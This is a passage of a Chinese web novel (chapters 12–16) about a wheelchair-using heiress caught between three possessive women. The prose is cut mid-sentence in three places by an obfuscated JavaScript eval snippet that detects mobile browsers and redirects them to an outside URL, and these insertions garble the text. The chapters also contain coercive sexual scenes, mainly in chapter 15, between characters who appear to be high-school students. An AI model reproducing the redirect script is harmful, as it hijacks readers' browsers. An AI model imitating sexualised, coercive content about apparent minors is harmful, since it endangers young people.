灯光下的肌肤透着晶莹光泽,肩头圆润,背部的蝴蝶骨轻微隆起,在动作间若隐若现。肌肉线条清晰,薄肌紧实,几乎无一丝多余的赘肉。 她挑了一套与俞泠相同款式的睡衣,只是尺码对她来说明显偏小。那件睡衣勉强裹住她的胸部,布料被撑得绷紧,曲线一览无遗,显出几分意外的存在感。 换好后,陆离转过身,向俞泠走来。 眼神是惯常的冷淡,眼尾下耷,单眼皮,声音有些低沉沙哑: “不一样了。” 她顿了顿,语气平静却不容拒绝: “今晚必须和你在同一张床上,我才能睡着。” 这是对刚才俞泠那句“再搬一张单人床”的回复。 俞泠突然有些后悔,她不应该同意陆离的。 现在俞伶伊没有在,她好像没有办法一个人拒绝陆离。 ** 第二天,俞泠难得起得很早。 昨晚,她似乎一直被包裹在一个温暖的怀抱中,导致她这一觉睡得比平常更加舒适。醒来的时候,整个人都轻松了不少。 陆离好像是一个很好用的人形抱枕。 这样想着,俞泠揉了揉惺忪的眼睛,打着呵欠,由管家推着轮椅进入一楼的餐厅。 却没想到客厅中已经坐了一个人。 栗色卷发,发梢自然卷曲。她身穿一件浅驼色真丝衬衫,袖口微卷,配上高腰烟灰色长裤。脚上是一双米白色高跟鞋,姿态优雅,气质温和中带着不容忽视的从容矜贵。 双腿交叠,正安静地翻着一本精装杂志。指尖修长,动作轻缓。 听到动静,她抬起头,目光落在俞泠身上。 “小泠,早上好?”尾音缠绵,那双眸子温柔地注视着俞泠,看起来与往常并没有什么不同。 不知道在这里等了多久,又有没有看到陆离。 13. 第 13 章 俞泠面色如常,抱怨道:“怎么不打招呼就来了?我才刚刚起床。” “当然是为了让小泠睁眼看到的第一人是我啊。”祁今渔的情话信手拈来。 俞泠冷哼一声:“我第一眼看到的人肯定是林姨。” 这时,旁边被提及的管家已经把早餐摆好,正准备上前把俞泠推至餐桌。 可沙发上的女人已慢条斯理地起身,向她们这边走来,姿态自然地接过了轮椅的扶手,指尖落在把手上,骨节分明。 管家便默默退下,为她们留下独处的空间。 熟悉的白茶花的味道包裹住俞泠,极其淡雅,却又不容忽视。 “那要不我和小泠同居吧。”祁今渔推着俞泠来到了餐桌旁,眉眼带笑。 “每天晚上一起睡,这样一来,小泠每天睁开眼看到的第一个人,就一定是我了,好不好?” 祁今渔俯下身,伸出双臂将俞泠整个人抱起,动作轻柔,眼神始终落在俞泠的面上,垂眸的时候琥珀色的瞳孔略有些幽深。 每天晚上一起睡…… 俞泠有些心虚,耳尖悄然染上一层红意,眼神游移地看向一旁,不敢与她对视,嘴里轻声嘟囔:“才不要。” 祁今渔也不恼,把俞泠轻轻放到椅子上后,就在一旁也坐了下来。 歪着脑袋,修长的手指托着下巴,长睫微垂,专心致志地盯着俞泠吃早餐。 俞泠被这人盯着心里发毛,太过炙热的眼神,像是要把她当成早餐吃掉一样。 仓促吃了一些后,她便放下了筷子。 祁今渔却不满意,微微蹙眉:“小泠今天胃口不好吗?为什么?” “我还以为,有我在,小泠胃口会变好呢。” 边说,边抬起手指,白皙纤细的手指轻点了点自己的脸庞,弯眸笑道。 俞泠终于忍无可忍,瞪了她一眼:“你怎么这么自恋。” 祁今渔却笑得更开心,仿佛得到了什么奖赏一般,点了点头:“没错,就是这样。” 低低唤道:“小泠,你可不可以一直看着我。看着作为你的恋人的我?” 俞泠逃开她那灼热的目光,转而问道:“所以等我吃完早餐之后,你要做什么?” “带小泠去蕴佳拍卖场呀。”祁今渔的声音依旧温和,尾音略带一点上扬,仿佛在哄小孩。 俞泠愣了一下,投去了疑惑的目光。 祁今渔唇角的弧度扩大了一点,眼神一如既往温柔:“这不是小泠想去的吗?难道陆离告诉我的是错的吗?” 俞泠的手指微蜷,顿时感觉背后沁出了一层细汗,杏眸微颤。 上次被吻到窒息的感受仍历历在目,攀附在她的脊背上,阵阵阴冷,她不自觉地呼吸有些急促。 刚想要解释,意识到什么后,抬起眸子,开口试探道:"陆离?" 栗发女人神情未变:“我刚进来就撞见陆离,她说她是来接你去拍卖场的。” “不过,我们现在是恋人关系,我告诉她,我来送你就好。”语气依然温柔,听不出一点生气。 俞泠顿时松了一口气。 她想起来,上次陆离和俞伶伊都在的那个晚上,她的确说要去俞家和祁家合作的那个拍卖场来着。看来就是这个蕴佳拍卖场。 然而,悬起的心脏刚放下,身体骤然悬空,她再度被祁今渔抱起。 这次祁今渔的步伐很快,抱她的力度也略微有些大,径直走向沙发。 俞泠呼吸一滞,视线随着祁今渔的动作晃动,乍然天旋地转,直至整个人被放到了沙发上。 下一秒,一具温软身躯压了上来,将她彻底笼罩。 祁今渔的气息贴近,惩罚似地啃咬她的耳垂,贝齿轻轻摩挲着那片敏感的皮肤。 她伸出指尖轻柔地遮住俞泠的眸子,俞泠的视野强制性地被黑暗占据。 “小泠是不是希望我这么说呢?”炙热的吐息滑过耳际,带起一阵战栗。 指尖沿着腰侧缓慢滑动,像羽毛般挑逗,时轻时重地揉捏,不断有向下延伸的趋势,危险的暧昧气息弥漫。 突然,女人的动作一顿。 她满是怜惜地叹了一口气:“小泠,我还什么都没做呢。” “怎么就先哭上了?”声音放得极轻极柔。 遮挡住俞泠视线的手移开,那双水光潋滟的杏眸暴露在祁今渔的视线中。 沾湿的羽睫颤抖着,黑珍珠般的瞳孔蒙上了一层雾。泪珠晶莹剔透,顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15805586|175132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼尾划下,留下一道湿润的痕迹。 胸脯上下起伏,一副被欺负到可怜至极的模样。 祁今渔俯身,用舌尖温柔地舔舐掉泪珠,动作细腻得近乎虔诚。 “都怪你……”俞泠反过来责怪祁今渔,含糊地呜咽道。 似乎是刚才的视野被遮挡,让她缺乏安全感。此刻祁今渔的手一动,俞泠就被惊到般下意识抓住,又被祁今渔反手握在手心。 “不可以有下次。” 最终,祁今渔只是叹息般在俞泠耳尖留下了这句话。 俞泠眨眨眼,攥紧的手渐渐松开,庆幸自己逃过一劫。 不愧是她。昨天祁今渔的突然发疯实在让俞泠印象深刻,呼吸被全部攫夺的经历,她不想再感受第二次。 ** 蕴佳拍卖场位于S城的市中心,占据了商业价值最大的一块地带,旁边就是S城的地标式建筑——琉璃塔,流光溢彩的倒影与拍卖场的玻璃幕墙交相辉映。 拍卖会即将开场,大厅内熙熙攘攘,人声鼎沸。皆是西装革履、非富即贵,轻奢珠宝点缀其间,一眼望去,尽是权贵云集。 看见面前拥挤的人潮后,俞泠的眉头微蹙,显然对这样热闹的场景有些排斥。 她勾了勾祁今渔的小拇指,娇声道:“祁今渔,不可以去一个安静点的地方吗?” 话音刚落,右后方就传来一道熟悉的声音: “姐姐?” 伴随着的是一张明媚的笑眸,俞伶伊朝她们走过来。 姿态如常,仿若上次两人之间的决裂没有发生过一样。 “姐姐,我还以为你不会来呢。” 双手握住俞泠放在合拢的双腿上的一只手,亮晶晶的杏眸满怀欣喜地注视着她。 作为今天的主办方之一,俞伶伊穿着略微有些正式。白色短款西装,镶金雏菊袖扣,下身是高腰深蓝色牛仔裤,修身利落地勾勒出少女窈窕的身形。 俞泠的脑袋不明显地往后靠了一下,随后略带些埋怨的语气道: “你难道是希望我来的吗?如果你真想要我来就应该自己来接我。” 祁今渔就站在一旁,垂眸注视着两个人姐妹之间的互动,眸底闪烁着若有所思的光。 14. 第 14 章 离拍卖会开场还有一段时间,正是最忙的时候。 避开了人流,祁今渔带俞泠来到了一个清幽干净的休息室。 祁今渔似乎工作很多,陪俞泠待了没多久,便急匆匆地走了,留下几句叮嘱的话。 “小泠不要乱走,我等会儿就会过来。” “这个屏幕可以查看今天拍卖会的物品清单,等下开场后也会实时转播场内画面,小泠可以看看有没有心仪的物品。” 俞泠不耐地催促祁今渔离开。 祁今渔在她唇上又落下一吻,磨磨蹭蹭一会儿才离开。 等祁今渔一走,她就拿出手机,给陆离发了条消息。 “来吧。”附上她现在的位置。 消息一发完,一股奇怪的感觉涌上了俞泠的心头—— 怎么感觉她是在偷情一样? 陆离来得很快。 一进房间,发现只有俞泠一个人,长眉一皱:“祁今渔不在?” 俞泠的瞳孔微睁:“难道你希望祁今渔在?” “你专门刺激我,让我来这个地方,究竟是为了什么?” 陆离坐下,表情冷淡,没有直接回答:“今天早上我碰见祁今渔了。” 俞泠说到这个就来气:“还不是都怪你。” 陆离沉默了片刻,眼神在俞泠的身上游动,最后定格在她的耳垂上。 俞泠的皮肤太过脆弱和娇养,稍带力度的触碰便会留下痕迹。 如今,耳垂处的那块软肉,晕染着丝丝绯红,甚至有清浅的咬痕。 “对不起。”陆离干脆了当地道歉,眼神仍一直停留在俞泠的耳垂处,慢慢描绘着那处的形状。 俞泠嘲讽道:“你有什么好道歉的。” “你都不敢承认你对我的喜欢,我跟一个胆小鬼较什么劲。” 回之的依旧是一阵沉默。 俞泠便也赌气般不再回话。 “你还没有见过祁今渔的母亲,祁阿姨吧?” 房间静默了几分钟后,陆离倚靠在沙发上,不动声色地问道。 边问,边打开了眼前的屏幕,上面正播放着拍卖会开始前的记者会。 "这次拍卖会由两大龙头企业合作,精心挑选了数十件大家之作,囊括海内外名家,甚至将拍卖游荟大师生前的最后一件作品。此次拍卖会,吸引了无数艺术爱好者的关注,堪称S城的一届艺术盛会……" 手拿话筒的记者站在拍卖会的入场口,为观众报道。 画面一转,到了一个中年女人的身上。 旁白适时介绍道:“现在正在接受采访的是主办方之一的祁莲女士。” 中年女人明显保养得极好,眼尾藏着几道细细皱纹,气质温和从容。接过记者的话筒后,开始回答记者的问题。 俞泠的目光落在屏幕上,微微蹙眉,神情闪过一丝微妙。 她撇撇嘴,回道:“小时候见过几次。” “可俞伶伊一定没有见过。”陆离的语气极为笃定。 她顿了顿,话锋一转,“或者说,祁阿姨没有见过俞伶伊。” 这话说得实在古怪。 俞泠皱眉道:“你是什么意思?” 陆离并不急着回答,半晌才慢慢开口:“祁阿姨也是一名著名的艺术家。哪怕由于身体原因,近些年来很少参与公司事务,祁阿姨也绝不会错过这次拍卖会。” “按照最初的安排,俞伶伊是不会出现在这次拍卖会上的。” “所以你故意让俞伶伊来参加,就是为了和祁阿姨见面?”俞泠琢磨着陆离话中的意思。 “是也不是。”陆离眸光斜睨着她。 “这次俞伶伊不会有和祁阿姨见面的机会的。” 被陆离这些话说得一愣一愣,俞泠只盯着屏幕。 记者介绍下一个人是俞氏集团的代表。画面切到另一个人,及肩短发,黑色西装。 不是俞伶伊,这个人介绍她是俞氏企业的某名高管。 “你可以问问俞伶伊发生什么事了。”陆离的声音颇有些凉意,宛若细雪初落。她提示道。 俞泠意识到,陆离所说的事情好像是一件不得了的事。 她在微信上询问俞伶伊。 过了几秒,对面打来语音电话。 “姐姐,你那边是有什么事吗?”娇俏活泼的声音传来,“姐姐”二字喊得极为清脆,像是枝头黄鹂的啾鸣。 “对,本来是我和祁阿姨一起接受采访的。但是我这里有份文件突然出了意外,必须在开场前处理好,因此只好派了另一个人。” “姐姐为什么突然这样问?”俞伶伊反问道。 俞泠看了眼陆离,随口道:“没什么,本来还以为可以在电视机上看到我的妹妹呢。” 对面传来一阵银铃般的笑声,像是毫无戒心的妹妹撒娇一般:“姐姐,如果你真是想要在电视机上看到我的话,换到26台,正在重播我的采访哦。” 俞泠无语地挂断电话:“好了,不耽误你时间了。大忙人。” 这次是俞泠沉默了片刻。 “可是这又能说明什么?只能说明祁今渔并不愿我的妹妹和她的妈妈见面而已。”她在“我的妹妹”上重音强调。 “你知道什么,又为什么也让我来知道呢?”俞泠沉静地质问道。 听见这话,对面的黑发美人缓缓弯了弯唇角,眉头微压,平日清冷无波的眸子里此刻莫名有些温柔。 黑漆漆的瞳孔注视着坐在轮椅上的女孩,面色似是有些不忍, “小泠,你也是不甘心的吧?” 俞泠微怔。 “像小泠这样聪慧的人,在任何领域都可以做得很出色。”陆离的声音像是缓缓流淌的溪水,一反常态的温和道。 越来越奇怪的感觉涌上俞泠的心头。 “你到底想做什么?” 顿了一秒,她继续说道:“无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她才点点头,语气听不出什么情绪:“是挺像的。” 任谁平时都不会将这两个人联系在一起,更何况,俞伶伊和祁今渔一点都不像。 陆离的眼睑垂落,黑色的瞳孔向下微动,从侧上方盯着俞泠的表情,像是一条阴影中的黑蛇观察人类的一举一动。 手指却没有放下,仍旧抬着俞泠的下巴。拇指微扣,白皙肌肤上浅浅的红痕悄然浮现。 向来娇纵跋扈的大小姐,此刻沉默的时间异常的久。长长的羽睫上下翻涌,遮住了眼中的情绪。 旁边那人低下头凑近,薄软的嘴唇几乎擦过她的耳垂。 呵出的热气扑洒到了俞泠的脖颈上,引起那片皮肤一阵战栗。 “俞泠,她靠近你——” 声音带上了几分怜惜,如霜一般的人低声道,宛若纯洁的神邸在蛊惑世人。 “分明是别有用心。” 祁今渔靠近她,目的是俞伶伊。 陆离告诉俞泠这样的一个事实。 两人维持着这样的姿势不知过了多久,直到对面房间的门“咔哒”一声被人推开。 栗色卷发女人倚在门框,似笑非笑地看着举止亲密的两人。 15. 第 15 章 俞泠的视线,从屏幕上,一点点滑动到祁今渔身上。 明明已经打开了门,明明已经看到了自己的女朋友和另一个女人举止亲密,祁今渔却只是噙着捉摸不透的笑,幽幽地注视着她们。 准确来说,是注视着俞泠。 像是露出獠牙的恶魔,贪图着俞泠身体的每一寸。眼神炽热到仿佛要烙印在俞泠的身上。 竟连一丝解释都没有。 “俞伶伊……知道吗?” 俞泠发现自己的声音有些沙哑。 陆离的视线在栗色卷发女人身上淡淡滑过,最终落在了坐着轮椅的女孩身上,眼睫微垂。 贴得更近了:“她不知道。” “俞泠,只有我对你的好是真心的。”几乎是咬着耳垂低声私语,声音放得极轻,泠泠悦耳的声音钻进了俞泠的耳朵中。 那边的人终于有了动作。 祁今渔微微歪了歪头,背后的光线在她的身前勾勒出一道极长的影子。 表情晦暗不清,隐约能看清勾起的唇角,在这种场景下似乎心情也不错。 身姿高挑纤瘦,白皙修长的手指抬起,朝着俞泠的方向伸去,作邀请状: “小泠,来我这里。”声音漾着清浅的笑意,温和至极。 边说,边向俞泠走去。三人的距离在缩进。 俞泠看清祁今渔的表情了。 双眸弯起,越靠近俞泠,面上的笑意就越盛。好看温婉的面孔,此刻专心致志地盯着俞泠,给人一种把人疼爱地放在心尖上的错觉。 钳着下巴的手指力度加大了。 “俞泠。”陆离低低喊了一句, 被两人全神贯注地盯视着的人,此刻表情有几分空白。眉心轻蹙,似乎对眼前场景十分苦恼似的。 她的皮肤十分苍白,宛若霜中梨花。坐着轮椅,又被高挑的两人围住,灯光只照亮了她的头顶,沦落在阴影中,那双澄澈如水的杏眸便更夺人心神。 半晌,轻轻开口: “祁今渔——” “我累了。” 被喊到的人,伸出的手一顿,随后慢条斯理地拍下了另一个人的手,抬着她女朋友下巴的手。 如葱削般的手指,慢慢抚摸那片皮肤,似乎要把另一个人的痕迹完全覆盖。 “好,我们马上回去。”祁今渔满是温柔地哄道。 她俯下身,动作轻柔,将女孩整个人抱进怀里。 俞泠的身体很轻,像是一团化不开的薄雾。 一瞬间,空气中的紧绷氛围消失,悄悄转变成了另一种说不清道不明的氛围。 站在一旁的陆离,那双深色的眼瞳此刻如冰湖凝固,被暗色一点点铺陈。 她没有说话,只是缓缓垂下眼睫。 指尖仍停留在刚刚碰触俞泠下巴的位置,仿佛尚能感受到她肌肤的温度。只是现在,那温度正被另一个人以更亲密的姿态拥进怀里。 ** 一回到公寓,祁今渔就带着俞泠直直走向她的房间。 关上门,在地上铺了一层毛毯,放下俞泠,然后把人抵在了门板上。 祁今渔吻得很凶,仿佛要把俞泠吃进肚子里似的,不肯留给她一点喘息的机会。 俞泠想闭上嘴,可逐渐的升起的缺氧感迫使她张着嘴巴,呼吸越来越急促,被祁今渔欺负得就更厉害。 舌头越来越麻,身体各处的皮肤烫得惊人,被祁今渔紧握住的手腕在忍不住微小地颤动。 眼角沁出生理性泪水,眼尾都洇晕了一层嫣红,俞泠的声音带上了几分哭腔,呜咽道:“祁今渔——” 声音破碎得不成音调,却带着极为明显的甜腻。 祁今渔的动作终究是慢了下来,但那双一直紧盯着她的眼眸仍然没有移开,没有错过俞泠任何细微的表情。 她不再纠缠俞泠的舌头,转而安抚式地轻轻舔舐着俞泠红肿的双唇,仔细摩挲着。 俞泠有些气急,更多的是委屈。 “我都还没有跟你计较,你怎么可以这样?”趁着两人双唇离开的片刻,俞泠勉强忽略身体涌起的奇怪感觉,埋怨道。 声音还隐隐约约带着哭腔,宛若被拨动的颤抖的银线。 她选择祁今渔,主要是觉得和祁今渔做恋人的时间还太短,没有十足的把握能够获得她的满值情感波动。 起码得一两个月后再分开,俞泠才认为够稳妥。 祁今渔将额头抵在俞泠的额头上,四目相视,依旧弯着眸子,甚至语气也是温柔的,但把人抵在门后的动作却丝毫未松动: “难道小泠是因为喜欢我,所以才选我的吗?”她突兀地问道。 霎时间,心思被完全摸透的俞泠,自以为掌握了祁今渔把柄的气焰一下子消失了的大半。 嘴里却仍在说着硬气倔犟的话:“怎么会?我选你当然是因为喜欢你啊。” 在这种情景下,她的脸本就是潮红的,心跳也是剧烈的,说起谎话来一点都不带犹豫。 然而看到面前压着她的人眼眸微眯,嘴角弧度越大的时候,俞泠终究是没有骨气地服软了—— “无论如何,你也不应该报复我的。” 祁今渔用那双幽幽的眸子静静地看着俞泠,闻言,眸色更深了一点: “报复?小泠,我们是情侣,这怎么可以说是报复呢?” “你抓着我啃,这不是报复是什么?”俞泠眼神控诉。 “因为我爱你。” 俞泠的话音刚落,祁今渔的声音就响起。 此刻,祁今渔用一只手挟制住俞泠的双手,另一只手则在俞泠的面庞上游动。 用纤长白皙的手指,一点点描绘俞泠的眼睛、鼻子、嘴唇,勾勒出俞泠的每寸美貌,眼神专注而深情,像是在观赏最钟爱的艺术品。 “小泠,这不是报复。这是你的女朋友吃醋了。” “这是我爱你的表现。” “所以我不想看到小泠和其他人接近的画面,我想小泠只看得见我。” 像是在面对一个不懂情爱的小朋友,祁今渔耐心地教导着。 她的声音极为好听,低沉温润的声音缠绕住俞泠的耳朵,一句一句流进了她的脑海。 “我承认,起初接近小泠的时候,的确心思不纯,是为了俞伶伊而故意接近你的。”话语满含歉意。 “她太像我那个失踪的妹妹了。我想要调查她,可我那时候只有十二岁,只能先从小泠的身上下手。” “那她是吗?”俞泠问道。 “是。”祁今渔直截了当地承认,“但是——” “我不是我母亲的亲生女儿。”平静之中,祁今渔又投下了一颗惊起湖面波澜的石子。 俞泠的脑筋更乱了。 万万没想到,这几个攻略人物的关系如此复杂。 祁今渔不是祁莲的亲生女儿,但俞伶伊又是祁今渔的妹妹……所以俞伶伊才是祁莲的亲生女儿? 祁今渔阻止祁莲与俞伶伊见面,是因为俞伶伊的出现会威胁到她的祁家继承人地位吗? 那陆离又是如何得知的? 俞泠的眼睫微颤,眸光晃动,心下只觉得烦躁—— 她一点也不想掺和这些豪门贵族之间的复杂事宜,剩下的一年里,她只想完成攻略。 纷繁的思绪被嘴唇上的异常触感打断。 祁今渔用大拇指在那两瓣嘴唇上时轻时重地蹂躏着。原本浅淡近乎无色的嘴唇,此刻逐渐晕染上层层绯红。 “见到小泠第一眼后,到现在为止,我对小泠做的事情,都是完全出于真心。”祁今渔手中做着暧昧的动作,声音却是不急不缓,发誓般认真说道。 “现在,我将自己毫无保留地告诉小泠了——” 大拇指离开嘴唇,缓缓向下,一直滑到了脖颈处。 祁今渔的右手虚虚握住俞泠的脖颈。 “小泠可不可以,也毫无保留地交给我呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15805588|175132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此时此刻她的处境好像十分危险,俞泠不自觉地咽了咽口水。 喉结微动,脑袋微微后仰,反倒像是她主动把自己的脖颈送到祁今渔手中一样。 祁今渔继续用蛊惑的语气轻柔道: “小泠,爱一个人,就是想要她的眼神永远落在自己身上,她的身边只能有自己,她的脑海永远被自己占据。” 柔滑的手与修长的脖颈一触即离,继续缓缓向下滑。 俞泠下意识想要反驳祁今渔,却又不知道如何反驳。 她只好亲口询问祁今渔:“所以你是爱我的。” 陈述的语气,偏偏杏眸中水光颤动,盛着疑惑和不安。 被祁今渔用一只手钳制住的双手,微微挣脱了一下。 祁今渔的目光更加缠绵,宛若化为了实质,黏腻在俞泠的脸上。 “是的,小泠,我爱你。”祁今渔不厌其烦地重复这三个字,话音放得更轻,也更蛊惑。 祁今渔又含住俞泠的唇,温柔地安抚着。 边吻边哄骗道:“小泠,爱就是拥有,是占据,是欲望。” “我爱小泠,爱小泠身体的每分每毫,小泠的所有我都爱。” “小泠从没有接触过这些,不知道很正常,还没有爱上我也是正常的。我可以教小泠如何爱,如何爱我。” 她的大拇指在摩挲某个地方,那双琥珀色的眼眸,专注地看着俞泠失神的模样。 室内的气氛越来越暧昧,温度上升到一个临界点,汗水从俞泠的额边渗出,顺着光滑流畅的弧线,染湿了纯白衣裙的一点。 “小泠,爱我。” 祁今渔的声线蓦然有些尖锐,不容拒绝的命令。 那只手越发肆意起来。 俞泠的脑袋一团浆糊,只能被迫承受祁今渔所有的话语、所有的动作。 听不清祁今渔在说什么,只是胡乱地点头。 她努力想要保持清明,可被祁今渔握住的那处不断传来的酥麻感,让她不得已将所有注意力都放在了自己的身体上。 常年不见阳光的皮肤过于苍白,细腻柔滑。裸露在空气中的胸前一大片白皙,渐渐被粉红色铺满,全身好似蒸腾起了热气。 耳尖已经红透,呼吸越来越急促。 在祁今渔含笑的目光中,俞泠有些难耐地闭上了双眸。眼睫不断颤动,又被因强烈刺激而溢出的泪水沾湿。 俞泠的双手不知何时已经被祁今渔松开,现在无力地搭在祁今渔的肩上。 “小泠,只有我对你是真心的。”宛若叹息般的一声。 “陆离虚伪,俞伶伊狠戾,只有我对小泠是完完全全的真情实意。” 然而,身下的女孩闭着双眸,不知是否听清楚了这句。 俞泠感觉自己的身体在无限地下坠,马上要沉迷在其中的时候,身后门的震动突然惊醒了她。 “叩叩——”敲门声。 解放的双手下意识要推开身前的祁今渔,却被一阵更强烈的刺激所拦住,颤动之后只能无力地抓住祁今渔衬衫的领口。 “小泠,我又要吃醋了怎么办?”祁今渔低低笑道。 更猛烈的吻袭来。 门外再没有响起敲门声。 拍卖会还没开场,姐姐就联系不上了 。通过管家得知,俞泠回到了自己的公寓。 立马放下手中正在处理的文件,俞伶伊不知道她是怀着什么心情来到这里的。 但此刻她只是面无表情地站在门外。 任凭门内的喘息声,唇舌纠缠的水声,透过缝隙,传到她的耳朵中。 俞泠公寓的房间隔音并不好。 这是她在设计时特意留心的,为的是假如俞泠发生什么意外时其他房间的下人可以及时察觉。 所以现在,她清清楚楚地意识到,她的姐姐正在门的另一边,被另一个女人吻着。 羽睫半垂着,一动不动,遮住了她眸里的所有情绪。 16. 第 16 章 这是一场久违的家庭聚餐。 三人落座在一家豪华却又不过于正式的餐厅,包间空间不大,气氛却温馨,一家三口坐得很近。 一位挽着中式发髻的中年女性,身穿素雅旗袍,神情温和,手里不停地给两个女孩夹菜,一边照顾,一边笑着说: “真是难得的一次聚餐。”语气中透着显而易见的高兴与感慨。 “都怪我,太忙了,一直没有时间留给你们。”她自责着。 “尤其是小泠。”女人目光柔和地看向低头吃饭的俞泠,语气轻得几乎是哄。 俞泠抬头,撅着嘴轻哼一声:“原来你知道啊。” 俞琉见状,也不介意俞泠语气的闹情绪,伸出手摸了摸俞泠毛茸茸的头顶,笑道:“都是妈妈的错,小泠原谅我好不好?” 俞泠嘴角仍抿着,但身体却诚实地靠过去蹭了蹭俞琉的手掌,努力压着情绪,嘴角却还是忍不住翘起。 三人的饭桌上,剩下另一个人默不作声。 俞伶伊注视着对面母女两人和睦融融的画面,向来严厉甚至冷酷的女人,在俞泠面前展现出了罕见的温柔。 然而,当俞琉的话题涉及到她的时候,俞伶伊自然地扬起甜美的笑容,语气明快: “是的,拍卖会举办得很成功,不过遗憾的是没有见到祁阿姨。” “三天后是高三级长竞选结果出来的日子,我已经联系过校长和其他家族了。” 她转头对俞泠一笑:“姐姐一定会得偿所愿的。” “好的,是四天后出差吗?妈妈放心,这种会议我参加过很多次了。” 语气亲昵自然,眼神却带着恰到好处的敬重。 俞泠打断了两人正在谈论的公事,显然不耐:“你们好烦啊,这个时候为什么要说这些无聊的东西。” 中年女人转眼便去哄俞泠道:“好好,我们不说了,小泠不高兴地眉都皱起来了。”打趣。 俞泠一边接受俞琉的投喂,一边若无其事地观察着俞伶伊的反应。 表情很平静,笑容很灿烂,说辞也很完美,非常合格的家族继承人的模样。 ——就是因为这样,俞伶伊才不想自己的腿好起来吗?怕她影响到她手中的俞家权力? 俞泠却想,俞伶伊转头回祁家和祁今渔争夺继承人身份,成功的概率都比她的腿恢复要希望大得多。 ** 饭后,俞琉又被一通突如其来的电话给叫走了。 俞泠已经习惯了这种情况,但是面对女人的道歉,眉眼还是耷了下来,恹恹地说道:“好了,我又不是不懂事的小孩,你快点走吧。” 临走前,俞琉抱了抱她,温暖的手掌轻抚她的后背,动作柔和。 面对女人的吩咐,俞伶伊弯着眸回道:“好的妈妈,我一定把姐姐安全送到家。” 俞琉一走,室内的氛围便沉静下来。 俞泠是在想,现在的俞伶伊肯定对她还心存芥蒂。 俞伶伊却是在想,昨天听到的那些声音,暧昧的,柔软的,喘息的,甜腻的,压抑不住的……每一个细节都清晰得过分。 好像蜇进了骨血中,像是在发烫,快要将她淹没。 她把视线落到那些声音的主人身上。 柔软秀丽的黑发,披在女生的肩头。苍白近乎透明的皮肤,在暖色灯光下透着玉一般的质感。 眼尾轻垂,羽睫微翻,杏眸清澈,几乎不染一丝尘埃。此时神情恹恹的,眉心不自觉地蹙起,唇瓣因失血而显得淡色,神情微动便引人怜惜。 忍不住的,她幻想那些声音是女生被她压在身下时发出的,那些声音是因为她的挑逗而发出的。 俞伶伊早就意识到,她对俞泠有非分之想。 恨不得对方从其他人眼里消失的非分之想。 俞泠这时却突然抬眸看她,语气疑惑:“你看我干什么?还不走吗?” 俞伶伊的眉眼顿时舒展,声音清丽:“姐姐,我还没有问你,为什么昨天拍卖会还没开始就走了呢?” “我通过林姨才知道,姐姐回到公寓了。” “因为担心姐姐,我也去了姐姐的公寓,敲了姐姐房间的门,好像不小心打扰到姐姐了。”俞伶伊的声音软软的,带着歉意。 “祁姐姐不会怪我吧?”那双和俞泠极为相似的杏眸,流淌着莫名的情绪,眼神放到了俞泠的嘴唇上,边盯边道歉。 俞泠回忆那之后的事情,太过难堪,不由热意漫上脸庞。 因病弱而过分苍白的皮肤,只一点羞意便泛上了绯色,宛若雪中红梅,衬得女生更加摄人心魂。 俞伶伊当然知道,祁今渔吻了她的姐姐有多久。 她一直在门外等候着。 直至祁今渔将哭得声音沙哑的俞泠哄睡,动作轻缓地打开门,迎面撞见了她。 祁今渔那一刻的模样,带着不可遮掩的欢愉。 唇瓣泛红,轮廓柔和,薄汗未褪,睫毛沾了水意,眼眸餍足地眯起,嘴角勾着满足的弧度。 见到俞伶伊的身影后,丝毫不意外似的,先轻轻地关上了门,才无声对她说道:“小伊,我们聊聊?” 眼神温和,甚至透着一种蓄谋已久的从容冷静。 俞泠不想回答俞伶伊这个问题,她便耍赖般拒绝回答: “你问这个做什么?好了,快点回家吧,你得负责把我送到家。” 俞伶伊便不再在这个事情上纠缠,只是笑,站直身子,向俞泠走去。 在俞泠疑惑的目光下,俯身弯腰,将俞泠抱起。 俞泠的身体像羽毛一般轻,抱在怀里像是易碎的琉璃。哪怕是小两岁的俞伶伊,抱起来也十分轻松。 不顾俞泠抗拒般在她的小臂上的几下轻锤,她低声询问道: “姐姐,你说过想要做我的好姐姐吧?” 俞泠意外地扬起眉,没想到俞伶伊在这种时刻说起这个,点头承认:“当然。” 俞伶伊自然地收拢手臂,俞泠的身体被迫与她贴得更近。 “那我的愿望,姐姐都愿意帮助我实现吗?” 看向俞泠的眼神亮晶晶的。 皮肤白皙,睫弯如蝶,秀眉挺鼻,俞伶伊的长相柔和甜美,嘴唇天生有几分弧度,是一副十分吸引人好感的长相。 俞泠警觉:“当然不是,我才不是那种只会溺爱妹妹的姐姐。” 俞伶伊叹息了一声,似乎很遗憾似的:“姐姐放心,我也希望成为姐姐的好妹妹呢,才不会提出什么过分的要求。” 她顿了顿:“我只是想……每天都能抱抱姐姐,可以吗?” 撒娇般的语气,仿若在对俞泠祈求。 ** 暧昧的喘息在狭窄的空间中响起,唇齿的交融下,皮肤的触碰变得敏感至极。 再一次以俞泠的止不住地咳嗽中止。 